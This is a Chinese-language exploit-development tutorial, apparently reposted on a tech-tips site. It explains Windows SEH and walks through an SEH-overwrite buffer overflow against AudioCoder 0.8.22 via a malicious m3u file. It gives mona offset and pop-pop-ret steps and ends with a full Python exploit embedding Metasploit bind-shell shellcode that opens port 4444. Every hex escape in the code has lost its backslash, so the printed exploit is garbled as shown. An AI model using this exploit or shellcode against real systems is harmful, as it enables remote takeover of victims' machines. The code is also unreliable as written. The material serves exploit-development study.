知识屋:更实用的电脑技术知识网站
所在位置:首页 > 网络安全 > 安全资讯

exploit with SEH

发布时间:2014-07-15 11:50:30作者:知识屋

0X01 SEH简介

SEH(“Structured Exception Handling”),即结构化异常处理.是(windows)操作系统提供给程序设计者的强有力的处理程序错误或异常的武器。每个S.E.H包含两个 DWORD指针:S.E.H链表指针和异常处理函数句柄。一共八个字节,如下图。

221

在程序发生异常之后,会根据 NSEH(Next S.E.H recoder)依次检索函数句柄。如果处理成功那么便执行。否则根据NSEH(Next S.E.H recoder)的值检索到下一个NSEH然后再执行exception handler。直到系统默认处理函数。

w22

看这里,右上角框中的为程序运行后安装的S.E.H。第一个在0x7DFFA4(Next S.E.H recoder),指向的值为0X017DFFDC,然后看0X017DFFDC的值为0xFFFFFFFF(结束)。

然后第一个S.E.H handler在0x017DFFA8(第一个NSEH后的四个字节处)。第二个S.E.H handler在0x017DFFE0.也就是说每一个NSEH都指向NSEH,所以SEH就连起来了,直到系统的S.E.H。

0X02 简介

在exploit-db上搜索SEH,最终选择这个audiocoder 0.8.22来作为测试软件。漏洞成因在软件处理m3u文件时处理有漏,导致了溢出。并且利用方法也可以是像上篇中saved EIP方式。也可以是S.E.H based,而在整理笔记的时候此软件的最新版(0.8.22)依然是有未修复版。

测试环境 XP SP2中文版+audiocoder 0.8.22

Debugger: immunity debugger

0X03 计算溢出长度

在这里先用3000个“A”构造m3u文件。然后打开软件发现程序内部S.E.H的8个字节都已经被A覆盖。也就是说明存在被利用的可能。

w23

w24

代码如下

 
buf ="A"*3000

shellcode =""

Payload =buf +shellcode

M3UFile =open("exploit.m3u", "w")

M3UFile.write("http://"+Payload)

M3UFile.close()

然后继续使用

  !mona pattern_create 3000

生成3000长度的pattern模版作为溢出字符串,debugger打开软件然后再打开m3u文件。

w25

在这里可以看到第一个S.E.H的handler被覆盖成0x347a4133.

这里我们可以使用

 
 
!mona pattern_offset 0x347a4133
来计算长度。也可以使用
 
 
!mona findmsp
 

观察所有的覆盖情况。执行完findmsp之后打开findmsp.txt文件。

w26

得到溢出长度为757。

0X04 构造溢出字符串

针对S.E.H based溢出的pattern 一般为

  buf +nseh +seh +nops +shellcode

在程序运行后发生异常,程序将跳到第一个S.E.H,然后第一个SEH handler将调用SEH handler地址处的函数。然后函数将两个参数和nseh压入函数栈中。于是我们可以这样构造,将she出覆盖成 pop,pop,ret(p/p/r)。然后在三个参数压入栈中之后执行了ppr。于是到达nseh。然后nseh处的指令(jmp 06)被执行了。

所以注意 SEH处应该是一个指令(ppr)的地址,而NSEH处就直接是指令了。并且由于SEH处要入栈,所以在构造时应该倒序。而nseh处为指令,构造时就不必考虑小端了。

以上为我个人理解加总结。如有错 请指正。万谢!

在不理解这些时 我就有疑问,为什么she不能覆盖成jmp 06,直接跳到shellcode 而非要覆盖nseh呢?

下面是泉哥在群里对这个问题的解答。

seh处理不了,就是去搜索下个seh,直到系统默认的异常处理例程,你用cc覆盖seh,只会导致去搜索next seh,你可以调试看下。

seh是当用地址引用,ppr是弹出seh handle第3个参数,即返回到nseh,此时nseh是当指令执行,而非地址,与seh的情况不同,是弹出2个参数,保留到第3个参数在栈顶。

理解之后就简单了。然后就可以开始构造溢出字符串了。


“A”*757+“B”*4+“C”*4+“x90” *20+shellcode
四个”C”为S.E.H handler的位置。应该为 p/p/r.关于如何搜索程序内部的ppr。可以使用
 
!mona seh
 

然后打开seh.txt 找到SafeSEH | ASLR  | NXCompat | OS Dll 都为false并且不含坏字符的地址。

w27

这里选择 0x66011b56处的ppr。ctrl+g 到0x66011b56处下断点。修改exploit2.py。

#exploit2.py
buf ="A"*757           #buf

buf +="B"*4            #NSEH

buf +="x56x1bx01x66"#SEH handler 0x66011b56

buf +="x90"*20

shellcode =""

Payload =buf +shellcode

M3UFile =open("exploit.m3u", "w")

M3UFile.write("http://"+Payload)

M3UFile.close()
然后再打开一次,由于我们在覆盖时同时覆盖了eip.所以当eip为0x41414141时shift+f9跳过去.
 

w28在这里可以看到nseh被4个“B”覆盖,而且sehhandler也被我们覆盖成了ppr的地址。shift+f9跳过去之后发现程序断在了0x66011b56。

w29

F8一步一步的跳过去之后发现程序执行到了4个”B”处并且此时“B”被当成指令被执行。

w210

0X05 完整的溢出过程

那么完整的溢出字符就为

“A” *757+“xEBx06x90x90” +"x56x1bx01x66"+“x90” *20+shellcode
 

NSEH处的“xEBx06x90x90”即 jmp 06 跳到 “x90x90x56x1bx01x66″ 6个字节后的滑行区。

Shellcode 继续用msfpayload 生成,编码坏字符“x00xffx0ax0d”。

完整的代码如下

__author__="DM_"

buf ="A"*757             #buf

buf +="xEBx06x90x90"   #NSEH

buf +="x56x1bx01x66"   #SEH handler 0x66011b56

buf +="x90"*20

shellcode =(

"xbaxc4xfcxbcx17xddxc4xd9x74x24xf4x5ex33xc9"

"xb1x56x31x56x13x03x56x13x83xeex38x1ex49xeb"

"x28x56xb2x14xa8x09x3axf1x99x1bx58x71x8bxab"

"x2axd7x27x47x7exccxbcx25x57xe3x75x83x81xca"

"x86x25x0ex80x44x27xf2xdbx98x87xcbx13xedxc6"

"x0cx49x1dx9axc5x05x8fx0bx61x5bx13x2dxa5xd7"

"x2bx55xc0x28xdfxefxcbx78x4fx7bx83x60xe4x23"

"x34x90x29x30x08xdbx46x83xfaxdax8exddx03xed"

"xeexb2x3dxc1xe3xcbx7axe6x1bxbex70x14xa6xb9"

"x42x66x7cx4fx57xc0xf7xf7xb3xf0xd4x6ex37xfe"

"x91xe5x1fxe3x24x29x14x1fxadxccxfbxa9xf5xea"

"xdfxf2xaex93x46x5fx01xabx99x07xfex09xd1xaa"

"xebx28xb8xa2xd8x06x43x33x76x10x30x01xd9x8a"

"xdex29x92x14x18x4dx89xe1xb6xb0x31x12x9ex76"

"x65x42x88x5fx05x09x48x5fxd0x9ex18xcfx8ax5e"

"xc9xafx7ax37x03x20xa5x27x2cxeaxd0x6fxe2xce"

"xb1x07x07xf1x24x84x8ex17x2cx24xc7x80xd8x86"

"x3cx19x7fxf8x16x35x28x6ex2ex53xeex91xafx71"

"x5dx3dx07x12x15x2dx9cx03x2ax78xb4x4ax13xeb"

"x4ex23xd6x8dx4fx6ex80x2exddxf5x50x38xfexa1"

"x07x6dx30xb8xcdx83x6bx12xf3x59xedx5dxb7x85"

"xcex60x36x4bx6ax47x28x95x73xc3x1cx49x22x9d"

"xcax2fx9cx6fxa4xf9x73x26x20x7fxb8xf9x36x80"

"x95x8fxd6x31x40xd6xe9xfex04xdex92xe2xb4x21"

"x49xa7xc5x6bxd3x8ex4dx32x86x92x13xc5x7dxd0"

"x2dx46x77xa9xc9x56xf2xacx96xd0xefxdcx87xb4"

"x0fx72xa7x9cxccxccxccxcc"

)

Payload =buf +shellcode

M3UFile =open("exploit.m3u", "w")

M3UFile.write("http://"+Payload)

M3UFile.close()

 

因为运行正向连接后门的shellcode之后,程序就会直接退出。所以在shellcode最后加上4个“xcc”。然后运行最终生成的文件。没有报错。程序没有退出。4444端口已处于监听状态了。

w211

至此结束

0X06 referer

http://www.fuzzysecurity.com/tutorials/expDev/3.

http://bbs.pediy.com/showthread.php?t=154271

http://bbs.pediy.com/showthread.php?t=102040

http://blog.csdn.net/evi10r/article/details/7074498

http://blog.csdn.net/nlqlove/article/details/7288496

http://www.exploit-db.com/exploits/29309/

http://www.mediacoderhq.com/audio/  (audiocoder 0.8.22)

(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜